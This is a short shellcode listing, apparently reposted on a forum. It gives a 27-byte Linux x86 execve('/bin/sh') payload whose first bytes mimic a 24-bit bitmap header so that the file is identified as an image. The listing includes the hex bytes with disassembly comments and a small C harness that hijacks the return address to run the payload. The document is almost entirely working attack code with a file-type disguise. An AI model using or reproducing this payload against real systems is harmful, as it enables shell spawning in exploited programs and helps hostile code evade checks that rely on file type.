linux/x86 execve(/bin/sh) + Bitmap Header 27 bytes
文章作者：izik[code]/*
* (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + Bitmap 24bit Header - 27 bytes
*
* root@magicbox:~# file linux-sh-bm24bhdr.bin
* linux-sh-bm24bhdr.bin: PC bitmap data
*
* - izik <[email]izik@tty64.org[/email]>
*/
char shellcode[] =
//
// Bitmap 24bit Header (4 bytes)
//
"\x42" // inc %edx
"\x4d" // dec %ebp
"\x36" // ss
"\x91" // xchg %eax,%ecx
//
// execve("/bin/sh", ["/bin/sh", NULL]);
//
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x99" // cltd
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
"\xcd\x80"; // int $0x80
int main(int argc, char **argv) {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int) shellcode;
}[/code]
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